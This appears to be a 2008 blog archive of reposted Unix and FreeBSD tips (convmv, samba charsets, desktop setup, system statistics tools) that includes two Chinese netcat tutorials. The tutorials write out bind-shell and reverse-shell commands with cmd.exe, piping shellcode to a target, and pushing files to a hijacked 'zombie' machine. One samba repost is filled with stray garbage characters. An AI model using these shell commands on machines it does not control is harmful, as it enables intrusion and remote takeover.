Friday, August 15, 2008

FreeBSD| 文件名转码工具convmv

文件名转码工具convmv - wzhy's blog - 我博客~我作主~~

Linux中文文件名转码工具 convmv

2008年7月23日(Wednesday) 15点58分 作者: netdragon 天气: 心情: 一般

   由于更改系统字符集导致了所有中文文件名都变为了乱码,不用着急,可以用convmv来搞定。


convmv 1.10 - converts filenames from one encoding to another
Copyright (C) 2003-2006 Bjoern JACKE <bjoern@j3e.de>

This program comes with ABSOLUTELY NO WARRANTY; it may be copied or modified
under the terms of the GNU General Public License version 2 as published by
the Free Software Foundation.

 USAGE: convmv [options] FILE(S)
-f enc     encoding *from* which should be converted
-t enc     encoding *to* which should be converted
-r         recursively go through directories
-i         interactive mode (ask for each action)
--nfc      target files will be normalization form C for UTF-8 (Linux etc.)
--nfd      target files will be normalization form D for UTF-8 (OS X etc.)
--qfrom    be quiet about the "from" of a rename (if it screws up your terminal e.g.)
--qto      be quiet about the "to" of a rename (if it screws up your terminal e.g.)
--exec c   execute command instead of rename (use #1 and #2 and see man page)
--list     list all available encodings
--lowmem   keep memory footprint low (see man page)
--nosmart  ignore if files already seem to be UTF-8 and convert if posible
--notest   actually do rename the files
--replace  will replace files if they are equal
--unescape convert%20ugly%20escape%20sequences
--upper    turn to upper case
--lower    turn to lower case
--help     print this help


Command:
shell$>  convmv -f gbk -t utf-8 *.lrc --notest
mv "./�ܴ��� - ��įɳ����.lrc"    "./周传雄 - 寂寞沙洲冷.lrc"
mv "./�ܱ�ٻ - ���ĺ�����.lrc"    "./周冰倩 - 真的好想你.lrc"
mv "./���ľ� - ����.lrc"    "./满文军 - 懂你.lrc"
mv "./�»��� - Ʈѩ.lrc"    "./陈慧娴 - 飘雪.lrc"
mv "./���� - ����.lrc"    "./彭羚 - 囚鸟.lrc"

OK!

 


wzhy 于 2008-3-4,21:15 
归类于:GNU/Linux  Tags:.

于转换windows分区拷文件过来可能出现文件名乱码,例如

convmv -f utf8 -t cp936 --notest *

convmv -f cp936 -t utf8 --notest -r --nosmart <要转换的文件夹或文件>

另外,对于一些在windows下自己刻录的光盘在读取中文文件名时会出现乱码的情况,解决的方法很简单,打开终端,输入sudo gedit /etc/fstab

打开fstab文件,找到
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0

(就是修改挂载分区属性的那个),修改为
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto,iocharset=utf8 0 0

保存后将光盘重新插入到光驱就可以了。

FreeBSD| samba中文乱码问题终极篇 Encoding|Destop

samba中文乱码问题终极篇 - 技术交流 - 铁通数据中心官方论坛 服务器托管|服务器合租|服务器租用|抗DDOS - Powered by Discuz!

samba中文乱码问题终极篇

环境:redhat as 3 up 3
2 u$ @0 @# P: h* bvi /etc/samba/smb.conf
/ l$ G" l, }$ i, B8 q6 o9 i4 d3 ]3 ^根据locales的设置,修改该文件:
  E  B( d( g. ~1 }* t# \2 Y" L) ^5 Y1. 如果locale是zh_CN.UTF-8,做如下设置:+ r6 H+ {+ G0 k9 b6 e* h. a. G1 O
display charset = UTF-8$ v8 U/ |: T) y2 I' ^) [) U  r
unix charset = UTF-82 F0 |6 j) t" ]3 s. b+ I: j( T
dos charset = UTF-8
; T# @/ `7 u9 q1 R2 S8 W1 O  J# N" o  E. `$ z
2. 如果locale是zh_CN.GBK或zh_CN.gb2312,做如下设置:# K, {0 c/ W7 r2 g' V, ^, A/ Y  Y# Y" T' ?
display charset = cp936- N8 _1 A: p+ X' `5 X2 b
unix charset = cp936! B" m8 Z# `+ M  J" M! i
dos charset = cp936
6 d3 [( ?! Q; m  l3 G. q9 T  l3 @; N" N9 ?. X5 P
重启samba:3 R  }5 |0 ~# ~0 H+ S
service samba restart, e7 D& _* c3 ?; ^
则无论从windows的网上邻居,还是直接用securecrt登陆,均可显示正常中文。- t" P1 g( i; o) R3 P

0 g; W: [7 P% ^! e在smb.conf中加入
2 Z1 A0 Y! j7 F- X$ |" w' J5 Wunix charset=gb2312
& D; q. n! N; a+ G; e' W  G重启samba
% I; s( k+ ?. T, E
) q! t7 ^6 a: n) K环境:redhat as 3 up 3- K& ], {1 R& i& l6 a7 ?, j9 J+ E8 H2 c
3 M" c, K( I  P' T% N
vi /etc/samba/smb.conf
8 e2 T4 M5 o% }: C7 \8 F
6 e% u! t/ J, C$ s; K1 k( r根据locales的设置,修改该文件:
# C$ B9 w6 q8 ~! W! _+ v, M: Z+ ?0 h! q3 o/ T1 n. D
1. 如果locale是zh_CN.UTF-8,做如下设置:
$ k+ R4 u3 X$ i# q. o
0 M5 U) W6 O8 U: C5 W# i0 c+ Edisplay charset = UTF-8# L/ E" p  Z( t3 _
9 F& Y& H4 s" w4 ^/ M4 t5 ~
unix charset = UTF-8! Z/ [* Z( e9 p! w4 U" Q

3 L& Q/ z/ Y; M2 Idos charset = UTF-8
& K+ B7 x" N! x/ b! X& R1 ^+ v2 E: P$ H- w4 Z3 e- J
2. 如果locale是zh_CN.GBK或zh_CN.gb2312,做如下设置:
! t9 `& M9 {% X8 {: V  d: h& X! _0 ~2 |* t6 y! }
display charset = cp936, h5 {3 I  b7 t* v, A

8 ?" l! P0 D/ I$ T  \7 }$ {unix charset = cp936  c6 r' G4 ^. r: l3 I; f

8 g4 N! p' p8 m" sdos charset = cp936
! J6 V! h. q6 ?7 _' I0 u$ e
8 Z( P$ s2 R: a/ l5 V5 t重启samba:
2 g) q( `8 e& }( y: _; ?7 J: M* ~3 O7 s! K
service samba restart
. }0 X/ s  f6 w( n$ Q
# `) k& D# g( r- O则无论从windows的网上邻居,还是直接用securecrt登陆,均可显示正常中文

FreeBSD|Jingshao's FreeBSD Tips

Jingshao's FreeBSD Tips

FreeBSD Tips

Port management

To install application in unix is always not an easy job, but with FreeBSD's port system, this has been changed. It is so powerful and easy to use that installation and upgrading is as easy as in MS Windows (IMHO). It is also much easy to use and understand than Redhat's RPM.

In addition to the original pkg tools, there are many others to do port management in a more user friendly way. portupgrade is one of them.

 cvsup -g -L 2 /root/ports-supfile # keep latest portsdb -Uu                       # after cvsup, keep INDEX INDEX.db up to date make fetchindex                   # above step takes a long time. Use this to                                   # fetch the prebuilt INDEX from the NET. pkgdb -F                          # maintain ports database pkgdb -fu                         # rebuild ports database portversion                       # '=' '<' and '>' portupgrade portupgrade -P                    # using package portupgrade -rR                   # upgrade all dependencies portsclean -D                     # delete unlinked lib pkg_deinstall gdm2                # uninstall a package portsclean -C                     # clean up uncleaned ports 

Use cvsup and portupgrade to upgrade all applications to the latest version is a very good idea. Upgrade to the latest ports after the first installation will save a lot of trouble. Do it every month.

Desktop Envrionment

In 4.8, I chose KDE 3.1.1a. But in 4.9, I switched to GNOME 2.4.1.

KDE is definitly a beautiful desktop envrionment and has many good features. Konqueror integrate file manager and web browser, very fast and usable.

GNOME 2.4 has a lot of improvement over 2.2. Plus many good applications are based on gtk+, and these applications are better than the conterparts in KDE. I feel gtk2's widgets look much more comfortable than Qt's.

FVWM2

I am using fvwm a lot now. Fvwm is one of the most configurable window manager. It may not look pretty but its programmable behavior is really powerful. If you like programming, you definite should try it. Here is my config. I changed it mainly based on the default configure file.

I created a customized theme for FVWM2, which looks quite different from other wm or even FVWM itself. The innovation idea is remove title bar completely. I call it "headless FVWM". Check the screenshots to see the difference. It fully used the screen real estate and look very pretty.

The features in the configure file include:

  1. In order to control the windows without titlebars, 3 buttons are created on the top right corner of the screen.
  2. Left click on the frame to resize the window; right click to move; middle click to pop window options menu.
  3. Sloppy focus is disabled by click focus unfortunately. Because the window have to be focused when pointer is moved to the corner of the screen. If there is a timer for sloppy focus, just as the popup timer, that will be perfect.
  4. Miniature shot of windows are used as icon. This is taken from Tavis Ormandy. I added some code so it combines the icon file with the window snapshot to make an icon.
  5. FvwmIconMan is fully translucent. Combined with xft font and shadow, it creates a "light up" effect when selected, and is easy to see on both light and dark backgrounds.
  6. Dynamically constructs a background selection menu with preview.
  7. Maximized behavior is changed to that when one window is maximized, all other windows are iconified.

For other light weight window manager, fluxbox is very good. I recommend use the fluxbox-devel port. It has the latest translucent and other cool features.

How to enlarge fonts in gtk applications in fvwm or fluxbox?

The fonts of gtk applications looks way too small in FVWM or fluxbox. To change it, create .gtkrc-2.0 under you home directory. Add line gtk-font-name = "Helvetica 12" in it. You can also add include "{path to gtk themes}/gtk-2.0/gtkrc" in it to use an installed gtk theme.

Graphic log in

I am no longer use a graphic log in manager. Since now both gdm and kdm has the same problem - after log in and out a couple of times, screen is locked in power save mode. Try Ctrl-Alt-Backspace to restart X server may fix.

GDM2

When install gdm, the system will say that gdm has serious security holes and is not recommanded by FreeBSD*. Actually as long as XDMP is not enabled, gdm is fine, here is a quote from GDM document.

- Do _NOT_ use /etc/ttys to start gdm at boot time. This will result in gdm hanging or restarting constantly. Instead, copy the included gdm.sh.sample script to gdm.sh, and restart. This script is found, by default, in /usr/X11R6/etc/rc.d. Changing the contents of the 'Enable' variable to 0 in the gdm configuration file (often /etc/X11/gdm/gdm.conf) will eliminate this vulnerability.

GDM2 configure

Edit /usr/X11R6/etc/gdm/gdm.conf and add these to avoid an error message from gdm. "No server were defined in the configration file and XDMCP was disabled"

 [server-Standard] name=Standard server command=/usr/X11R6/bin/X flexible=true  [servers] 0=Standard 

Web browser

FireFox 1.0 is really a very good brower. Mozilla 1.7 is very good too. The advantage of Mozilla is it comes with Email, but FireFox has a better UI.

Firefox Icon

Replace the file default.xpm in /usr/X11R6/lib/firefox/chrome/icons/default with a nice one (png works too).

Firefox keybinding

I would like to use Ctrl-u to clear the location field. To enable that, add this line into ~/.gtkrc-2.0:
gtk-key-theme-name = "Emacs"

Where is firefox's re/buildin folder?

To change the keybindings, user need to modify the userHTMLBindings.xml or the platformHTMLBindings.xml in this directory. For FreeBSD, it is at:
/usr/X11R6/lib/firefox/res/builtin

Email

Client

For text email client, I use mutt with Chinese enabled. Here is my .muttrc

For gui, I prefer mozilla-mail or thunderbird.

MTA

Sendmail

Sendmail is the default mta shipped with FreeBSD. To configure it to use smtp to send email instead of using itself, do the following: (mutt use it to send email)

 cd /etc/mail vi sendmail.cf 

locate line

 # "Smart" relay host (may be null) DS 

and append your smtp server after DS

Postfix

Alternative MTA is Postfix. Edit /usr/local/etc/postfix/main.cf

  mydomain = {PUT YOUR DOMAIN HERE}   myorigin = $mydomain  relayhost = {PUT YOUR RELAY HOST HERE} 

Office Suite

Office suite is the most weak part in Unix. Especially when it has to be compatible with MS office. My overall choice is OpenOffice. OpenOffice, especially version 1.1.3 is very good.

The best way to install it is via package. Compiling such a big port is not worth the efforts. A google search for "OpenOffice Freebsd package" gave me some links to download the OpenOffice prebuild package. I used oootranslation.services.openoffice.org to download the latest stable one.

To setup printer in openoffice, run openoffice-1.1.3-spadmin

If OO is too slow/big for you, try these alternative ones:

  • Word processor: KWord or AbiWord
  • Vector Graphic: dia and inkscape
  • Spread Sheet: gnumeric

DVD playback

I am using Mplayer. I used to use ogle, but since I found this link: Installing Mplayer With Quicktime Support from bsdhound, I installed Mplayer and am suprised to see how cool it is. Also do a search on "bsdhound mplayer" will give some other good documents on that site.

At first, mplayer didnot display the pictures on my monitor when the laptop was in dock station. After I change the -vo option to x11, it shows. Actually, do a mplayer -vo help lists all available video output drivers. "xv" did not work for me, but "x11, gl, gl2" all work.

Notes for ogle

Under kde, ogle need to be run as "artsdsp ogle". But the quaulity is unacceptable.

Under gnome or fluxbox, ogle plays DVD without noticable drops. one bug is stop button does not work. Another bug is sometimes, ogle lose the track of sound and playback lose synchronize. Close it and play again may fix it. (under linux, due to the poor implementation of css, DVD playback is not as good. But there is ALSA promising a solution. I failed to install ALSA however)

CD-RW

cdrecord -scanbus cdrecord -v -eject speed=4 dev=0,3,0 xxx.iso 

Accessing unix box

I like ssh. It replaces rsh, rcp, rlogin, telnet, ftp. It is secure, easy to use and very powerful (local and remote port forwarding).

 ssh [UNIX MACHINE]  xterm -tn dtterm -T "REMOTE UNIX" -e ssh -Y -t "REMOTE UNIX" tcsh scp [UNIX MACHINE]:~/doc/abc.doc . scp abc.doc [UNIX MACHINE]:~/doc/abc.doc 

To allow x sessions from unix box

Need -Y in ssh options.

How to make X look better?

Use XFree86 version 4.3.0 and up

XFree86 -version will show the version.

Enable true type font support

Add this line: load "freetype" under Section "Module" in /etc/X11/XF86config file.

Copy true type fonts from windows

  • Make a directory under /usr/X11R6/lib/X11/fonts/, say TrueType.
  • Copy all ".ttf" files from windows (Normally under WINNT/Fonts) to /usr/X11R6/lib/X11/fonts/TrueType.
  • Run mkfontscale and ttmkfdir.
         cd /usr/X11R6/lib/X11/fonts/TrueType     mkfontscale     ttmkfdir > fonts.dir    
  • Add this line: FontPath "/usr/X11R6/lib/X11/fonts/TrueType/" in /etc/X11/XF86config under Section "Files".

If Window2000 is installed on the same machine, and is on ad0s1, add this line in /etc/fstab to mount it. (/windows must be create by root at first)

/dev/ad0s1    /windows   ntfs  ro 0       0 

Fine Tune anti-alias

It should be much better now. However, to make regular fonts look more sharp, need to disable anti-alias for fonts less than 16 points.

Modify local.conf under /usr/X11R6/etc/fonts (create one if not exist) like this:

 <?xml version="1.0"?> <!DOCTYPE fontconfig SYSTEM "fonts.dtd"> <fontconfig> <!-- Enable sub-pixel rendering         <match target="font">                 <test qual="all" name="rgba">                         <const>unknown</const>                 </test>                 <edit name="rgba" mode="assign"><const>rgb</const></edit>         </match>          -->         <match target="font">             <test name="size" compare="less">                 <double>16</double>             </test>             <edit name="antialias" mode="assign">                 <bool>false</bool>             </edit>         </match> </fontconfig> 

Install cool themes for gnome

http://art.gnome.org

Enable mouse scroll wheel support in X

Add Option "ZAxisMapping" "4 5" under Section "InputDevice" in /etc/X11/XF86config.

Chinese

Chinese is supported very well in GNOME, KDE and XFCE. When using Fluxbox, icewm, windowmaker or fvwm, make sure to either comment all font configure in configure (theme) file, or specify the fonts with gb2312.1980-0 encoding. -*-*-*-*-*-*-*-*-*-*-*-*-gb2312.1980-0 or -*-simsun-*-*-*-*-12-*-*-*-*-*-gb2312.1980-0 will be ok. I am using GB encoding.

Tools for Chinese are (all except rxvt are under /usr/ports/chineses):

  • Chinese input: fcxit
  • Chinese terminal: rxvt (WITH_ENCODING=gb)
  • Text email client: zh-mutt
  • Vi like chinese text editor: celvis

Settings

It is very straitforward. If you are using startx to start your desktop,

  1. add these lines into your .login_conf:
     me:\         :charset=zh_CN.EUC:\         :lang=zh_CN.EUC 
  2. Add these lines into .cshrc (if you use bash, set the environment virables in .profile):
     setenv XMODIFIERS "@im=fcitx" setenv XIM fcitx setenv XIM_PROGRAM fcitx setenv LANG zh_CN.EUC setenv LC_CTYPE zh_CN.EUC 

If you are using GDM to start your desktop, you need to modify this file: /usr/X11R6/etc/gdm/Xsession. Find these lines:

 # Normalize languages, some places/distros screw us up in /etc/profile, # so in case the user did select a language if [ -n "$GDM_LANG" ]; then   LANG="$GDM_LANG"   export LANG 

and add these lines after export LANG to set X input environment virables.

 if [ "x$LANG" = "xzh_CN.EUC" ]; then     XMODIFIERS="@im=fcitx";  export XMODIFIERS     XIM=fcitx;               export XIM     XIM_PROGRAM=fcitx;       export XIM_PROGRAM     LC_CTYPE=$LANG;          export LC_CTYPE fi 

Then when you login through GDM, choose Chinese (Simplified) from the language option.

To invoke Chinese input, type fcitx from a terminal

Dictionary

stardict is a very good dictionary.

pppoe configure

 more /etc/ppp/ppp.conf default:  set log Phase Chat LCP IPCP CCP tun command  set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 sbc:  set device PPPoE:fxp0  set authname username  set authkey ********   set dial  set login  enable dns  add default HISADDR                    # Add a (sticky) default route 

To launch pppoe, ppp -ddial sbc as root.

To start pppoe at boot, add the following to /etc/rc.conf file:

 ppp_enable="YES" ppp_mode="ddial" ppp_nat="YES" # if you want to enable nat for your local network, otherwise NO ppp_profile="name_of_service_provider" 

Instant Messenger

I use Gaim. It can handle MSN messenger.

Image manipulate

I use gimp + inkscape for manual editing and ImageMagick for command line.

Sound manipulate

 cat chinaanthem.au > /dev/audio sox chinaanthem.au chinaanthem.wav trim 00:00:1 00:00:6 play chinaanthem.wav 

A good practice is to change GNOME startup melody:

 cd music sox -v 2 chinaanthem.au -r 44100 chinaanthem.wav mask fade 0 6 3 trim 00:00:1.5 play chinaanthem.wav Applications --> Desktop Pereference --> Sound --> login 

Wireless

Use ancontrol ... After this, do "ifconfig" you will see the status of an0 is associated.

Then you may need to reset dhclient to change the default gateway via the wireless interface.

 dhclient -r fxp0 dhclient an0 

Also, Cisco Aironet 350 need firmware 5.00.20 to work under FreeBSD.Downgrade the firmware is needed.

Home freebsd nat ipfw rules

I use a PentiumII 350 at home as a gateway. It is configured with ipfw. For ipsec VPN to tunnel through, rule 500 to 504 are set.

00050 divert 8668 ip from any to any via tun0 00100 allow ip from any to any via lo0 00110 allow ip from 192.168.0.0/24 to any via vr0 00150 allow udp from any to any dst-port 53 keep-state 00151 allow udp from any 53 to any 00162 allow tcp from any to any out via tun0 keep-state 00200 deny ip from any to 127.0.0.0/8 00300 deny ip from 127.0.0.0/8 to any 00400 allow tcp from any to any established 00500 allow udp from any to any dst-port 137 00501 allow udp from any to any dst-port 62514 via tun0 00502 allow udp from any to any dst-port 500 00503 allow ip from any to any frag 00503 allow udp from any to any dst-port 10000 65535 deny ip from any to any 

VPN

VPN with my company is not easy. The only way to do so is through ssh port forwarding.

 ssh -R 2222:localhost:22 -N company.host  -R port:host:hostport         Open port on remote machine. All traffic on remote         machine to this port will be forward through the ssh tunnel to local,        then forwarded from local to host:hostport  -N             Do not execute a remote command. 

Later, on company.host, I just need to do an ssh -p 2222 localhost to access back my home PC.

Useful Unix tips

How to find the largest files in current directory?

Use this :

find . -type f -print0 | xargs -0 ls -l | sort -r -n -k 5,5 | head 

How to find broken symbolic links?

( find . -type l -print0 | xargs -0 file ) | grep 'broken symbolic link' 

NOTE: in find, use -print0 instead of -print gives \0 terminated strings, this preserves space in such as file names so xargs -0 will not provide truncated arguments to command.

How to use memory key

mount -t msdos /dev/da0s1 /mnt

How to find a key name?

Use xev to find out what is the keycode and keysym.
Key names are defined in the key symbol def file: /usr/X11R6/include/X11/keysymdef.h discard the "XK_" part.

Nothing

I wish I was back in university ...UM

Tuesday, August 12, 2008

Unix CMD|nc(瑞士军刀)的详细使用

nc(瑞士军刀)的详细使用

nc(瑞士军刀)的详细使用
作者:未知 时间:2005-09-13 23:48 出处:Blog.ChinaUnix.net 责编:My FAQ
              摘要:nc(瑞士军刀)的详细使用
参考资料:程序原创者Hobbit与Chris Wysopal的说明文档、G-python、黑猫警长、Quack、zhoutree等各位高手的文章


netcat被誉为网络安全界的'瑞士军刀',相信没有什么人不认识它吧......
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由'红与黑'编译
后的新'浓缩'版。'浓缩'版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。

参考资料:程序原创者Hobbit与Chris Wysopal的说明文档、G-python、黑猫警长、Quack、zhoutree等各位高手的文章


netcat被誉为网络安全界的'瑞士军刀',相信没有什么人不认识它吧......
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由'红与黑'编译
后的新'浓缩'版。'浓缩'版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。
<!--StartFragment-->=====================================================================================================
软件介绍:

工具名:Netcat
作者:Hobbit && Chris Wysopal
网址:http://www.atstake.com/research/tools/network_utilities/
类别:开放源码
平台:Linux/BSD/Unix/Windows
WINDOWS下版本号:[v1.10 NT]

=====================================================================================================
参数介绍:

'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。


=====================================================================================================
基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口


2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口


3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口


4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口


5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口


以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

=====================================================================================================
高级用法:

6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,
真是有异曲同工之妙:P)

附:'c:\exploit.txt'为shellcode等


7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止


8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把'>'
改为'>>'即可以追加日志

附:'c:\log.txt'为日志等


9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容'送'入其
管道中

Unix CMD| nc(黑客界的瑞士军刀)的用法

nc(黑客界的瑞士军刀)的用法 - 酷鸭战线 - 博客园

讲四个命令

 

命令1:监听命令

nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!

nc -l -p 80 > e:\log.dat

呵呵,功能和上边一样,但是后边加了个"> e:\log.dat"我想,学过ECHO
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC
的屏幕上。


呵呵,讲了这么多,来实践下

nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1
呵呵,看到什么?


同样,上边两个也是一样,大家自己试验一下吧

 

命令2:程序定向

nc -l -p port -t -e cmd.exe

本地机: nc -l -p port 或 nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e;作用就是程序定向
-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。(话外音:说这么多遍当我们白痴啊,快往下讲!!!)

呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
HOHO~~如何?

 

local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。


这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)

nc -l -p 5277 (坚听本地5277端口)

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上,想办法运行

nc -e cmd.exe ip 5277

(你可别真的打"ip"在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!

呵呵,看看在本地机器上出现了什么?

这样就是反弹~~在本地机器上得到了一个SHELL

 

命令3:扫描端口

nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port


参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息


nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况


nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

 

命令4:传送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:\pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口

并把接受到的信息数据写到c:\pulist.exe中


这时候在本地机上运行

nc -v -n ip 5277 < e:\hack\pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上

这样远程主机就会自动创建一个pulist.exe文件。。呵呵,你想到了吗??


上边是NC的比较常用的方法,希望通过这些,大家能发挥自己的想象力,创造出更多更精彩的命令来,
因为NC的用法不仅仅局限于这几种而已哦!!对NC来说,只有想不到,没有做不到的!!!

Wednesday, August 6, 2008

FreeBSD|FreeBSD Statistic Tools

FreeBSD Statistic Tools

On this page I provide a list of statistical tools for FreeBSD to monitor your system. There are a lot of them, so if I missed one please mail me (ronald at echteman dot nl).

fstat The fstat utility identifies open files.
gstat The gstat utility can be used to monitor I/O transactions of geom(4) devices.
iostat The iostat utility displays kernel I/O statistics on terminal, device and cpu operations.
netstat The netstat command symbolically displays the contents of various network-related data structures.
nfsstat The nfsstat command displays statistics kept about NFS client and server activity.
pstat The pstat utility displays open file entry, swap space utilization, terminal state, and vnode data structures.
top Top displays the top processes on the system and periodically updates this information.
systat The systat utility displays various system statistics in a screen oriented fashion.
vmstat The vmstat utility reports certain kernel statistics kept about process, virtual memory, disk, trap and cpu activity.
  • fstat
    The fstat utility identifies open files.
    USER     CMD          PID   FD MOUNT      INUM MODE         SZ|DV R/W ronald   fstat       1087 root /             2 drwxr-xr-x     512  r ronald   fstat       1087   wd /usr     824321 drwxr-xr-x    3584  r ronald   fstat       1087 text /usr     1038656 -r-xr-sr-x   14624  r ronald   fstat       1087    0 /dev        126 crw--w----   ttyp1 rw ronald   fstat       1087    1 /dev        126 crw--w----   ttyp1 rw ronald   fstat       1087    2 /dev        126 crw--w----   ttyp1 rw ronald   fstat       1087    3 /dev         15 crw-r-----     mem  r ronald   fstat       1087    4 /dev         16 crw-r-----    kmem  r ronald   fstat       1087    5 /          8700 -rw-r--r--   40960  r ronald   vim         1025 root /             2 drwxr-xr-x     512  r ronald   vim         1025   wd /tmp          2 drwxrwxrwt     512  r ronald   vim         1025 text /usr     329983 -rwxr-xr-x  1266616  r ronald   vim         1025    0 /dev        129 crw--w----   ttyp3 rw ronald   vim         1025    1 /dev        129 crw--w----   ttyp3 rw 
  • gstat
    The gstat utility can be used to monitor I/O transactions of geom(4) devices.
